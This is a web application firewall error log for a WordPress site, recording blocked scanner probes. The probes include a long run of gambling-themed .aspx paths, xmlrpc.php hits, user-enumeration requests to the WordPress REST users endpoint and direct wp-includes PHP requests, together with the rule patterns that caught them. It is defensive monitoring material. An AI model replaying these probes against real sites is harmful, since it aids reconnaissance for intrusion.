[Fri Apr 17 11:21:32.887346 2026] [:error] [pid 34273:tid 34291] [client 195.201.199.99:45350] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aeGnPGuQDW686mK3dgGWhgAAAZA"]
[Fri Apr 17 11:21:36.352193 2026] [:error] [pid 9151:tid 9174] [client 195.201.199.99:46198] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "aeGnQMhTVuRPkua22vT-FAAAAA0"]
[Fri Apr 17 11:21:39.290702 2026] [:error] [pid 9152:tid 9207] [client 195.201.199.99:46942] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "aeGnQ5JYca8I3TNCwIfBYgAAAFE"]
[Fri Apr 17 11:21:42.564566 2026] [:error] [pid 9153:tid 9242] [client 195.201.199.99:47812] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aeGnRuMHGxkTZX3c45etIAAAAJg"]
[Fri Apr 17 11:21:45.791993 2026] [:error] [pid 9151:tid 9178] [client 195.201.199.99:48638] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aeGnSchTVuRPkua22vT-FgAAABE"]
[Fri Apr 17 11:21:49.051315 2026] [:error] [pid 25010:tid 25033] [client 195.201.199.99:49552] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aeGnTY-7kkf42RarqQ0q5wAAAVQ"]
[Fri Apr 17 11:21:52.572098 2026] [:error] [pid 9152:tid 9201] [client 195.201.199.99:50598] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aeGnUJJYca8I3TNCwIfBawAAAEs"]
[Fri Apr 17 11:21:56.224358 2026] [:error] [pid 34273:tid 34280] [client 195.201.199.99:51766] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aeGnVGuQDW686mK3dgGWmwAAAYU"]
[Fri Apr 17 11:22:47.363646 2026] [:error] [pid 34273:tid 34283] [client 195.201.199.99:52740] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aeGnh2uQDW686mK3dgGW0wAAAYg"]
[Fri Apr 17 11:22:50.816832 2026] [:error] [pid 34273:tid 34284] [client 195.201.199.99:37008] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aeGnimuQDW686mK3dgGW2QAAAYk"]
[Fri Apr 17 11:22:54.037195 2026] [:error] [pid 9153:tid 9221] [client 195.201.199.99:37648] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aeGnjuMHGxkTZX3c45etWQAAAIM"]
[Fri Apr 17 11:22:57.364855 2026] [:error] [pid 51878:tid 51884] [client 195.201.199.99:38378] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aeGnkUnQhUtMbw9Esgb8vwAAAQQ"]
[Fri Apr 17 11:23:00.404321 2026] [:error] [pid 9153:tid 9241] [client 195.201.199.99:38954] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aeGnlOMHGxkTZX3c45etYQAAAJc"]
[Fri Apr 17 11:23:03.752415 2026] [:error] [pid 25010:tid 25013] [client 195.201.199.99:39654] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aeGnl4-7kkf42RarqQ0rGwAAAUA"]
[Fri Apr 17 11:23:07.067395 2026] [:error] [pid 34273:tid 34293] [client 195.201.199.99:40372] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aeGnm2uQDW686mK3dgGW8gAAAZI"]
[Fri Apr 17 11:23:10.287147 2026] [:error] [pid 51878:tid 51882] [client 195.201.199.99:41078] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aeGnnknQhUtMbw9Esgb8wwAAAQI"]
[Fri Apr 17 11:23:13.476074 2026] [:error] [pid 9153:tid 9222] [client 195.201.199.99:41744] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "aeGnoeMHGxkTZX3c45etbgAAAIQ"]
[Fri Apr 17 11:23:16.632139 2026] [:error] [pid 34273:tid 34289] [client 195.201.199.99:42380] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "aeGnpGuQDW686mK3dgGXBwAAAY4"]
[Fri Apr 17 11:23:20.136777 2026] [:error] [pid 34273:tid 34278] [client 195.201.199.99:43206] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aeGnqGuQDW686mK3dgGXDgAAAYM"]
[Fri Apr 17 11:23:23.397831 2026] [:error] [pid 9263:tid 9266] [client 195.201.199.99:43976] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aeGnqxP68VyHNvj1e55tKwAAAME"]
[Fri Apr 17 11:23:26.712844 2026] [:error] [pid 9152:tid 9199] [client 195.201.199.99:44640] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "aeGnrpJYca8I3TNCwIfB2wAAAEk"]
[Fri Apr 17 11:23:30.101675 2026] [:error] [pid 9152:tid 9207] [client 195.201.199.99:45288] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aeGnspJYca8I3TNCwIfB4wAAAFE"]
[Fri Apr 17 11:23:33.421196 2026] [:error] [pid 9151:tid 9170] [client 195.201.199.99:46008] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aeGntchTVuRPkua22vT-UgAAAAk"]
[Fri Apr 17 11:23:36.806713 2026] [:error] [pid 9152:tid 9192] [client 195.201.199.99:46712] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "aeGnuJJYca8I3TNCwIfB7AAAAEI"]
[Fri Apr 17 11:23:40.260526 2026] [:error] [pid 34273:tid 34285] [client 195.201.199.99:47416] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aeGnvGuQDW686mK3dgGXHgAAAYo"]
[Fri Apr 17 11:24:36.403732 2026] [:error] [pid 9152:tid 9201] [client 195.201.199.99:48144] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "aeGn9JJYca8I3TNCwIfCdQAAAEs"]
[Fri Apr 17 11:24:39.194658 2026] [:error] [pid 9153:tid 9227] [client 195.201.199.99:59622] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "aeGn9-MHGxkTZX3c45ettwAAAIk"]
[Fri Apr 17 11:24:42.497580 2026] [:error] [pid 34273:tid 34289] [client 195.201.199.99:60424] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aeGn-muQDW686mK3dgGXaQAAAY4"]
[Fri Apr 17 11:24:45.992938 2026] [:error] [pid 9151:tid 9166] [client 195.201.199.99:33104] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "aeGn_chTVuRPkua22vT-eQAAAAU"]
[Fri Apr 17 11:24:49.435435 2026] [:error] [pid 34273:tid 34277] [client 195.201.199.99:33960] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aeGoAWuQDW686mK3dgGXfQAAAYI"]
[Fri Apr 17 11:24:52.860980 2026] [:error] [pid 51878:tid 51890] [client 195.201.199.99:34656] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "aeGoBEnQhUtMbw9Esgb87wAAAQo"]
[Fri Apr 17 11:24:56.094288 2026] [:error] [pid 25010:tid 25031] [client 195.201.199.99:35328] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aeGoCI-7kkf42RarqQ0rcgAAAVI"]
[Fri Apr 17 11:24:59.219963 2026] [:error] [pid 51878:tid 51883] [client 195.201.199.99:35902] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "aeGoC0nQhUtMbw9Esgb89QAAAQM"]
[Fri Apr 17 11:25:02.372210 2026] [:error] [pid 9151:tid 9179] [client 195.201.199.99:36518] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "aeGoDshTVuRPkua22vT-hQAAABI"]
[Fri Apr 17 11:25:05.691043 2026] [:error] [pid 9153:tid 9229] [client 195.201.199.99:37138] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "aeGoEeMHGxkTZX3c45etyAAAAIs"]
[Fri Apr 17 11:25:09.197200 2026] [:error] [pid 9152:tid 9195] [client 195.201.199.99:37796] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aeGoFZJYca8I3TNCwIfCzgAAAEU"]
[Fri Apr 17 11:25:12.567950 2026] [:error] [pid 51878:tid 51888] [client 195.201.199.99:38448] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aeGoGEnQhUtMbw9Esgb8_wAAAQg"]
[Fri Apr 17 11:25:15.649466 2026] [:error] [pid 9152:tid 9204] [client 195.201.199.99:39044] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aeGoG5JYca8I3TNCwIfC2AAAAE4"]
[Fri Apr 17 11:25:18.978795 2026] [:error] [pid 9152:tid 9211] [client 195.201.199.99:39718] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aeGoHpJYca8I3TNCwIfC5wAAAFU"]
[Fri Apr 17 11:25:22.023923 2026] [:error] [pid 9151:tid 9169] [client 195.201.199.99:40332] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aeGoIshTVuRPkua22vT-kQAAAAg"]
[Fri Apr 17 11:25:24.715894 2026] [:error] [pid 34273:tid 34298] [client 195.201.199.99:40834] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aeGoJGuQDW686mK3dgGXwwAAAZc"]
[Fri Apr 17 11:25:27.623003 2026] [:error] [pid 34273:tid 34279] [client 195.201.199.99:41394] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aeGoJ2uQDW686mK3dgGXyQAAAYQ"]
[Fri Apr 17 11:25:30.766043 2026] [:error] [pid 34273:tid 34289] [client 195.201.199.99:42004] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aeGoKmuQDW686mK3dgGX1AAAAY4"]
[Fri Apr 17 13:47:48.172267 2026] [:error] [pid 9263:tid 9273] [client 113.177.167.46:34022] [client 113.177.167.46] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 113.177.167.46, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aeHJhBP68VyHNvj1e56PSAAAAMg"]
[Fri Apr 17 14:48:21.240717 2026] [:error] [pid 9152:tid 9214] [client 35.229.72.129:58794] [client 35.229.72.129] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.229.72.129, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aeHXtZJYca8I3TNCwIcC5QAAAFg"]
[Fri Apr 17 14:48:24.312099 2026] [:error] [pid 9152:tid 9197] [client 35.229.72.129:58794] [client 35.229.72.129] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aeHXuJJYca8I3TNCwIcC8AAAAEc"]
[Fri Apr 17 14:48:27.066669 2026] [:error] [pid 9152:tid 9204] [client 35.229.72.129:58794] [client 35.229.72.129] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.229.72.129, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aeHXu5JYca8I3TNCwIcC8gAAAE4"]
[Fri Apr 17 15:08:32.446516 2026] [:error] [pid 9152:tid 9202] [client 43.130.3.120:54640] [client 43.130.3.120] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aeHccJJYca8I3TNCwIcG7AAAAEw"]
[Fri Apr 17 15:45:45.055838 2026] [:error] [pid 9152:tid 9209] [client 34.24.22.213:54753] [client 34.24.22.213] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.24.22.213, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aeHlKZJYca8I3TNCwIcQlAAAAFM"]
[Fri Apr 17 15:45:47.981170 2026] [:error] [pid 9152:tid 9213] [client 34.24.22.213:54753] [client 34.24.22.213] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aeHlK5JYca8I3TNCwIcQnQAAAFc"]
[Fri Apr 17 15:45:50.269638 2026] [:error] [pid 9152:tid 9190] [client 34.24.22.213:54753] [client 34.24.22.213] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.24.22.213, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aeHlLpJYca8I3TNCwIcQpAAAAEA"]
[Fri Apr 17 17:52:40.029562 2026] [:error] [pid 51878:tid 51883] [client 43.173.1.69:36880] [client 43.173.1.69] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aeIC6EnQhUtMbw9EsgZHOwAAAQM"]
[Fri Apr 17 18:13:27.463484 2026] [:error] [pid 9263:tid 9284] [client 49.233.45.47:34570] [client 49.233.45.47] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aeIHxxP68VyHNvj1e54IDQAAANM"]
[Fri Apr 17 23:51:07.240706 2026] [:error] [pid 51878:tid 51897] [client 20.203.143.130:64471] [client 20.203.143.130] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/theme-compat/wp-login.php"] [unique_id "aeJW60nQhUtMbw9EsgbmMwAAARE"]
